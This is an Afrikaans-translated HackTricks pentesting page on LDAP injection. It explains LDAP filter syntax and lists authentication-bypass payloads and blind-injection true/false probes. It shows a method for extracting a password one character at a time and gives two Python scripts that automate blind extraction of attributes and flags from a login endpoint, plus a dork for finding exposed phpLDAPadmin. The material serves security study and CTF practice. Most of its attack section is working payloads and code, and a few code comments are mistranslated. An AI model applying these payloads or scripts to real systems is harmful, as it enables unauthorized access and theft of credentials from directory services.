hacktricks/pentesting-web/ldap-injection.md

# LDAP-inspuiting

## LDAP-inspuiting

<details>

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## LDAP-inspuiting

### **LDAP**

**As jy wil weet wat LDAP is, besoek die volgende bladsy:**

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}

**LDAP-inspuiting** is 'n aanval wat gemik is op webtoepassings wat LDAP-verklarings vanaf gebruikersinvoer konstrueer. Dit gebeur wanneer die toepassing **misluk om insette behoorlik te saniteer**, wat aanvallers in staat stel om **LDAP-verklarings te manipuleer** deur 'n plaaslike proksi, wat moontlik kan lei tot ongemagtigde toegang of data-manipulasie.

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = Absolute TRUE\
**(|)** = Absolute FALSE

Byvoorbeeld:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`

Jy kan toegang kry tot die databasis, en dit kan inligting van verskeie verskillende tipes bevat.

**OpenLDAP**: As 2 filters arriveer, voer dit slegs die eerste een uit.\
**ADAM of Microsoft LDS**: Met 2 filters gooi hulle 'n fout uit.\
**SunOne Directory Server 5.0**: Voer beide filters uit.

**Dit is baie belangrik om die filter met die korrekte sintaksis te stuur, anders sal 'n fout uitgegooi word. Dit is beter om slegs 1 filter te stuur.**

Die filter moet begin met: `&` of `|`\
Voorbeeld: `(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

Dan: `(&(objectClass=`**`*)(ObjectClass=*))`** sal die eerste filter wees (die een wat uitgevoer word).

### Aantekeningsverbygaan

LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. Dus, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehash word.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```

```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```

```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```

```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```

```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```

```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```

```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```

```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Lyste

* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP Eienskappe](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount eienskappe](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

### Blinde LDAP-inspuiting

Jy kan Vals of Waar reaksies afdwing om te kyk of enige data teruggegee word en 'n moontlike Blinde LDAP-inspuiting te bevestig:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```

```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Stort data

Jy kan oor die ASCII-letters, syfers en simbole iterasieer:
```bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
```
### Skripte

#### **Ontdek geldige LDAP-velde**

LDAP-voorwerpe **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **hulle almal met geweld te ontsluit om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier vind**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Spesiale Blinde LDAP-inspuiting (sonder "\*")**
```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks

### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Meer Lading

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Indien jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende skriftelike en gesproke Pools benodig_).

{% embed url="https://www.stmcyber.com/careers" %}

<details>

<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* Indien jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>